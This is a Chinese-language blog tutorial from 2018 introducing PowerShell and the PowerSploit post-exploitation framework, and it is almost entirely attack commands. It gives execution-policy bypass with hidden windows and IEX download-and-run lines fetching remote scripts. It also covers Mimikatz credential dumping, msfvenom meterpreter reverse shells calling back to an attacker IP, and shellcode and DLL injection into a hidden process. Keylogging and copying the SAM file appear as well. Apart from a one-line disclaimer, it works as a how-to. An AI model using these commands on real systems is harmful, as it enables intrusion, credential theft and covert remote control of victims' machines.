Powershell & Powersploit 入門

FLy_鵬程萬里發表於2018-05-24

前言

PowerShell 是執行在 Windows上實現系統和應用程式管理自動化的命令列指令碼環境。你可以把它看成是命令列提示符 cmd.exe 的擴充,或是顛覆。Powershell 需要.NET環境的支援,同時支援.NET物件。其可讀性,易用性,可以位居當前所有 shell 之首。


當前 PowerShell 有四版本,分別為 1.0,2.0,3.0 ,4.0

PowerShell簡介



PowerShell指令碼

* 本地許可權繞過執行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 

* 本地隱藏許可權繞過執行指令碼 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隱藏視窗) -File xxx.ps1

 

* 直接用IEX下載遠端的PS1指令碼回來許可權繞過執行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

 

* 遠端程式碼執行 IEX (New-Object

Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)

PowerSploit簡介

一款基於powershell的後滲透(Post-Exploitation)框架,整合大量滲透相關模組和功能。

https://github.com/mattifestation/PowerSploit

Linux下簡易安裝和搭建Powersploit(用於測試,請勿使用非法用途)

Linux git clone powerspolit


開啟Apache服務


搭建簡易可下載powersploit指令碼的伺服器


Powersploit模組簡介

* CodeExecution 在目標主機執行程式碼

* ScriptModification 在目標主機上建立或修改指令碼

* Persistence 後門指令碼(永續性控制)

* AntivirusBypass 發現殺軟查殺特徵

* Exfiltration 目標主機上的資訊蒐集工具

* Mayhem 藍屏等破壞性指令碼

* Recon 以目標主機為跳板進行內網資訊偵查

Powersploit 模組運用

Invoke-Shellcode 此模組結合MSF使用可以達到意想不到的效果,在這理就不介紹。

先在目標主機安裝“Invoke-Shellcode”指令碼,使用Get-Help + 指令碼名可以檢視使用方法:

命令格式:

IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecutio

n/Invoke--Shellcode.ps1")


在MSF裡面使用reverse_https模組進行反彈,設定如下


本來在Invoke-Shellcode直接使用以下這條命令進行反彈的:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.146.129 -Lport 4444 -Force

但是Powersploit更新到了3.0, Invoke-Shellcode指令碼沒有Lhost和Lport引數,所以我們需要用到另外一種方法實現。

使用msfvenom生成一個powershell指令碼。

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/tes

IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")
Invoke-Shellcode -Shellcode ($buf)

程式注入

首先建立一個隱藏的程式:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

使用Get-Process命令檢視當前程式,記住你剛剛建立的隱藏程式ID


然後使用Invoke-Shellcode指令碼進行程式注入

Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)


要是你的Powersploit是2.2版本的那麼可以直接使用以下命令

Invoke-Shellcode -ProcessID 2384 –Payload

windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444

DLL注入

Invoke-DLLInjection 是DLL注入指令碼

首先下載安裝DLL注入指令碼到目標機器

IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv

oke-DllInjection.ps1")

 

在MSF裡面生成一個DLL注入指令碼,然後下載DLL檔案使用Invoke-DLLInjection指令碼來實現DLL注入

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll


為什麼使我們的注入更加隱蔽,我們開啟一個隱藏程式來進行DLL注入

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden


Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll



Invoke-Portscan埠掃描

Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports


nvoke-Mimikatz DUMP密碼(注意此指令碼需要用管理員許可權執行)

Invoke-Mimikatz –DumpCreds也可以直接執行


Get-Keystrokes 鍵盤記錄器

Get-Keystrokes -LogPath + <儲存位置>


Invoke-NinjaCopy 萬能複製

Invoke-NinjaCopy -Path <需要複製的檔案> -LocalDestination <複製檔案儲存位置>

像windows主機裡有個資料庫SAM檔案,裡面資料很多有價值的資訊,普通的COPY命令是無法複製的,使用萬能複製可以複製SAM檔案


Invoke-ReverseDnsLookup DNS查詢(好像沒什麼用- -!,望大家告訴我這玩意有什麼用)

Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>


Get-HttpStatus  網站目錄檢測(好像沒什麼用)

Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那麼後面加-UseSSL,在其他埠的那麼 –Port )


相關文章